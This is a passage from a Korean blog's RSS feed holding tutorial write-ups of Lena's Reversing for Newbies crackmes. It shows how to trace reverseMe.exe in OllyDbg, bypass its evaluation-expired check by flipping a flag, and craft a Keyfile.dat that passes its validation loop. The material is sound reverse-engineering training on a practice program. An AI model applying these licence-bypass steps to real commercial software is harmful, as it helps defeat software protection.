&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 689px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99BCF53F5B84345421&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99BCF53F5B84345421&quot; width=&quot;689&quot; height=&quot;141&quot; filename=&quot;readfile_called.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;h4&gt;3) reverseM.004010B4로 분기하여 코드 실행&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;reverseM.004010B4로 분기하여 어셈블리 코드를 차례대로 실행&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;EBX, ESI 레지스터를 0으로 초기화(XOR연산: 비트값이 같으면 0, 다르면 1)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;XOR EBX,EBX&lt;/li&gt;
&lt;li&gt;XOR ESI,ESI&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CMP DWORD PTR DS:[0x402173],0x10&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DS:[0x402173]가 가리키는 값과 0x10(16(dec))와 비교&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;JL SHORT reverseM.004010F7&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CMP의 두 오퍼랜드 중 앞 오퍼랜드가 0x10보다 작으면 reverseM.004010F7로 분기&lt;/li&gt;
&lt;li&gt;JL: Jump if Less&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;DS:[0x402173]: 0x00000000이므로 비교문 결과 reverseM.004010F7로 분기하게 됨&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Keyfile is not valid. Sorry&quot; 메시지박스가 출력(실패)&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 190px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99F49C395B8434800D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99F49C395B8434800D&quot; width=&quot;190&quot; height=&quot;104&quot; filename=&quot;01_key_invalid_msgbox.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DS:[0x402173]는 ReadFile  함수의 PByteRead가 가리키는 값임을 알 수 있음&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 696px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99333C405B8434A214&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99333C405B8434A214&quot; width=&quot;696&quot; height=&quot;219&quot; filename=&quot;readfile_fail.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;ReadFile 함수의 pByteRead 파라미터의 의미&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-readfile&quot;&gt;ReadFile함수 msdn 설명&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;pByteRead는 lpNumberOfBytesRead 파라미터에 해당&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;읽어드린 byte 수&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;1) 에서 생성한 Keyfile.dat은 내용이 없는 빈 파일&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ReadFile함수를 실행 할 때 pByteRead가 가리키는 값은 0이 됨&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Keyfile.dat파일 내용 길이(byte)를 유추&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;힌트: CMP DWORD PTR DS:[0x402173],0x10, JL SHORT reverseM.004010F7&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;최소 16 byte 이상&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;JL로 되어 있기 때문&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;최대 70byte 이하&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ReadFile 함수의 BytesToRead(46(hex, 70(dec))&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;h4&gt;4) Keyfile.dat에 16byte 이상 내용을 입력 한 후 어셈블리 코드 다시 분석&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Keyfile.dat을 열어 16byte 입력 후 저장&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 344px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990EF0405B8434C723&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990EF0405B8434C723&quot; width=&quot;344&quot; height=&quot;201&quot; filename=&quot;keyfile_modify.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;004010B8   CMP DWORD PTR DS:[0x402173],0x10부분에 브레이크 포인트를 설정&lt;/li&gt;
&lt;li&gt;OllyDbg를 재시작하여 브레이크 포인트까지 코드 실행&lt;/li&gt;
&lt;li&gt;reverseM.004010F7로 분기하지 않음&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 611px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9925E13E5B8434F12A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9925E13E5B8434F12A&quot; width=&quot;611&quot; height=&quot;380&quot; filename=&quot;readfile_called_again.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;5) 반복문 어셈블리 코드 실행&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;reverseM.004010F7로 분기하지 않고 코드를 차례대로 실행하면 반복문 어셈블리 코드가 나옴&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;반복문: reverseM.004010C1 ~ reverseM.004010D1&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;반복문 실행이 끝나고 실행되는 reverseM.004010D3에 브레이크 포인트를 설정하고 브레이크 포인트까지 실행&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CMP ESI,0x8, JL SHORT reverseM.004010F7&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;ESI 레지스터 값을 0x8과 비교, 비교결과 ESI 레지스터 값이  0x8보다 작아 reverseM.004010F7로 분기 될 예정&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;reverseM.004010F7로 분기 시 &quot;Keyfile is not valid. Sorry&quot; 메시지박스 출력(실패), 프로그램 종료&lt;/li&gt;
&lt;li&gt;ESI 레지스터 값은 0x8보다 커야함을 알수 있음&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ESI, EBX 레지스터는 3) 에서 XOR연산으로 0x0으로 초기화 이후, 반복문 안에서  INC 연산을 통해 1씩 증가 하고 있음&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;반복문이 종료된 후 ESI 레지스터 값은 0x0,  EBX 레지스터 값은 0x10&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 696px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/993C893B5B8435160A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F993C893B5B8435160A&quot; width=&quot;696&quot; height=&quot;232&quot; filename=&quot;cmp_esi.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;JMP reverseM.00401205를 실행하여 reverseM.00401205로 분기되면 원하는 메시지박스가 출력됨&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;메시지박스 내용: &quot;You really did it! Congrats !!!&quot;&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;반복문 내의 어셈블리 코드 분석이 필요&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;반복문 내 비교문, 분기문의 의미 파악 필요&lt;/li&gt;
&lt;li&gt;ESI 레지스터, EBX 레지스터를 증가하는 INC 연산 코드 실행이 언제되는지 분석 필요&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;반복문이 시작되는 reverseM.004010C1에 브레이크 포인트를 설정 한 후 OllyDbg 재시작 후 브레이크 포인트까지 실행&lt;/p&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;6) 반복문 분석&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;MOV AL,BYTE PTR DS:[EBX+0x40211A]는 AL(1byte) 레지스터에 DS:[EBX+0x40211A] 1byte를 저장&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;DS:[EBX+0x40211A]에서 0x40211A는 ReadFile 함수에서 Buffer를 의미함&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ReadFile 함수에서 &lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;실제 Hex Dump에서 0x40211A에는 Keyfile.dat에 입력된 내용이 저장되어 있는 것을 알 수 있음&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;반복문 안에서 EBX를 증가, 반복문이 실행 되면서 DS:[EBX+0x40211A]가 가리키는 1byte를 AL을 저장&lt;/p&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 702px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9972D4395B84356101&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9972D4395B84356101&quot; width=&quot;702&quot; height=&quot;449&quot; filename=&quot;loop_analysis.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;CMP AL,0x0, JE SHORT reverseM.004010D3&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;CMP AL,0x0: 문자열의 끝, '\0'와 같은지 비교&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;JE SHORT reverseM.004010D3: 문자열의 끝이면  reverseM.004010D3로 분기(반복문 종료)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;JE: Jump if Equal&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CMP AL,0x47,  JNZ SHORT reverseM.004010D0, INC ESI&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;CMP AL,0x47&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;AL 레지스터를 0x47('G')과 비교, 0x47는 character로 'G를 의미함'&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;JNZ SHORT reverseM.004010D0&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;비교 결과 0x47('G')과 같지 않으면(Not Zero) reverseM.004010D0로 분기&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;INC ESI&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;비교 결과 0x47('G')과 과 같으면(Zero) ESI 레지스터 값 0x1증가&lt;/li&gt;
&lt;li&gt;5)에서 분석했듯이 ESI가 0x8이상이어야함&lt;/li&gt;
&lt;li&gt;&quot;Keyfile.data&quot;에는 'G'문자가 8byte이상 포함해야 함을 알 수 있음&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 267px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99CB043F5B84358301&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99CB043F5B84358301&quot; width=&quot;267&quot; height=&quot;57&quot; filename=&quot;ascii.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;reverseM.004010D0에는 INC EBX 코드가 있음&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;EBX는 ReadFile로 읽어온 문자열 버퍼의 index를 의미&lt;/li&gt;
&lt;li&gt; INC EBX: EBX 레지스터를 0x1 증가하는 것은 다음 문자를 가리키는 것을 의미&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;JMP SHORT reverseM.004010C1: 반복문의 반복 실행&lt;/p&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;4. Keyfile.dat 수정&lt;/h3&gt;
&lt;h4&gt;1) Keyfile.dat가 만족해야 하는 조건&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Keyfile.dat이 파일 이름&lt;/li&gt;
&lt;li&gt;파일 내용이 16byte 이상, 70byte 이하&lt;/li&gt;
&lt;li&gt;파일 내용 중 8byte 이상이 'G'이어야 함&lt;/li&gt;

&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;2) Keyfile.dat 수정, 저장&lt;/h4&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 364px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9947A7365B8435A402&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9947A7365B8435A402&quot; width=&quot;364&quot; height=&quot;218&quot; filename=&quot;keyfile_final.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4&gt;3) reverseMe.exe 실행&lt;/h4&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 193px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/993EA7375B8435C002&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F993EA7375B8435C002&quot; width=&quot;193&quot; height=&quot;166&quot; filename=&quot;success_msg.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;리버싱 끝 :)&lt;/p&gt;</description>
      <category>보안/Analysis</category>
      <category>Keyfile.dat</category>
      <category>Lena's Reversing for Newbies #02</category>
      <category>lena's tutorial</category>
      <category>reverseMe.exe</category>
      <category>Reversing</category>
      <author>eunguru</author>
      <guid isPermaLink="true">https://eunguru.tistory.com/233</guid>
      <comments>https://eunguru.tistory.com/233#entry233comment</comments>
      <pubDate>Tue, 28 Aug 2018 02:35:19 +0900</pubDate>
    </item>
    <item>
      <title>Lena's Reversing for Newbies #01</title>
      <link>https://eunguru.tistory.com/232</link>
      <description>&lt;meta charset=&quot;UTF-8&quot;&gt;&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width initial-scale=1&quot;&gt;
&lt;title&gt;01_Lena&lt;/title&gt;
&lt;h1&gt;Lena's Reversing for Newbies #01&lt;/h1&gt;
&lt;h3&gt;1. 문제&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;문제: OllyDbg+Assembler+Patching a basic reverseme&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tuts4you.com/download/122/&quot;&gt;파일다운로드&lt;/a&gt;&lt;/li&gt;

&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3&gt;2. 파일 실행&lt;/h3&gt;
&lt;h4&gt;1) reverseMe.exe 실행&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Evaluation period out of date. Purchase new license&quot; 메시지박스 출력&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 324px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996867335B82B4F831&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996867335B82B4F831&quot; width=&quot;324&quot; height=&quot;103&quot; filename=&quot;01_messagebox.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;3.  OllyDbg로 어셈블리코드 분석&lt;/h3&gt;
&lt;h4&gt;1) 메시지박스 문자열 검색&lt;/h4&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 668px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99E954355B82B52524&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99E954355B82B52524&quot; width=&quot;668&quot; height=&quot;168&quot; filename=&quot;01_string.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;2) 메시지박스 출력 전 후 어셈블리코드 분석&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;1)의 문자열을 마우스 더블클릭하여 CPU창으로 이동 &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;메시지박스 출력 후 프로그램 종료(MessageBoxA() -&amp;gt; ExitProcess() 함수 호출)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;메시지박스 출력 문자열: &quot;Evaluation period out of date. Purchase new license&quot;&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;메시지박스 출력 전 CreateFileA() 함수 호출&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CreateFileA() 함수 호출 부분에 브레이크포인트 설정(F2) 후 OllyDbg 재실행(Ctrl+F2, F9)&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 878px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996752355B82B56419&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996752355B82B56419&quot; width=&quot;878&quot; height=&quot;189&quot; filename=&quot;01_messagebox_cpu.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;참고: CreateFileA(): 파일이나 I/O 디바이스를 생성하거나 여는 함수&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-createfilea&quot;&gt;CreateFile함수 msdn 설명&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;주요 파라미터&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FileName: Keyfile.dat&lt;/li&gt;
&lt;li&gt;Mode: OPEN_EXISTING(파일이 있는 경우 열기)&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;리턴값&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;성공: 파일, 디바이스, 명명된 파이프, 메일 슬롯의 핸들 값을 리턴&lt;/li&gt;
&lt;li&gt;실패: INVALID_HANDLE_VALUE(-1(decimal), FFFFFFFF(hex) )&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CreateFileA() 함수 호출 후 리턴값은 EAX 레지스터 값이며, reverseMe.exe 경로에 &quot;Keyfile.dat&quot;파일이 없기때문에 FFFFFFFF 리턴&lt;/p&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 271px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/993AE13A5B82B59611&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F993AE13A5B82B59611&quot; width=&quot;271&quot; height=&quot;218&quot; filename=&quot;01_createfile_fail_reg.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;CMP EAX,-0x1: 리턴값인 EAX 레지스터 값이  -0x1인지 비교&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;EAX가 -1이므로 CMP 결과는 0이 됨 -&amp;gt; Z 플래그가 1로 설정된 것을 알 수 있음&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;JNZ SHORT reverseM.0040109A&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CMP 결과 0(Zero)이므로 분기하지 않고 다음 코드 실행&lt;/li&gt;
&lt;li&gt;JNZ(Jump Not Zero): 0이 아니면 분기&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;MessageBoxA() 호출: 메시지박스 출력&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ExitProcess(): 프로그램 종료&lt;/p&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4&gt;3) Z 플래그를 임의 설정 하여 reverseM.0040109A로 분기(메시지박스 출력 안되도록) &lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;JNZ SHORT reverseM.0040109A에 브레이크 포인트 설정&lt;/li&gt;
&lt;li&gt;Z 플래그를 1에서 0으로 변경(마우스 더블클릭하면 변경됨)&lt;/li&gt;
&lt;li&gt;reverseM.0040109A로 분기&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99225D3F5B82B5C707&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99225D3F5B82B5C707&quot; width=&quot;900&quot; height=&quot;186&quot; filename=&quot;01_jump_0040109A.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;h4&gt;4) reverseM.0040109A로 분기 후 어셈블리코드 분석 &lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;ReadFile() 함수 호출 부분에 브레이크포인트 설정 후 브레이크포인트까지 코드 실행&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-readfile&quot;&gt;ReadFile() 함수 msdn설명&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;참고: ReadFile()  함수: 특정 파일이나 I/O 디바이스로 부터 데이터를 읽는 함수&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;주요 파라미터&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;nNumberOfBytesToRead: 읽어야 될 최대 바이트 &lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;리턴값&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;성공: 0이 아닌 값(TRUE)&lt;/li&gt;
&lt;li&gt;실패: 0(FALSE)&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ReadFile() 함수 호출 후 리턴값은 EAX 레지스터 값이며 실패를 나타내는 0값을 리턴&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Z플래그가 1로 설정됨&lt;/li&gt;

&lt;/ul&gt;
&lt;/li&gt;

&lt;/ul&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/993FDD3D5B82B5EF2C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F993FDD3D5B82B5EF2C&quot; width=&quot;900&quot; height=&quot;142&quot; filename=&quot;01_readfile_return_check.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 317px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/992E23335B82B60E0C&quot; 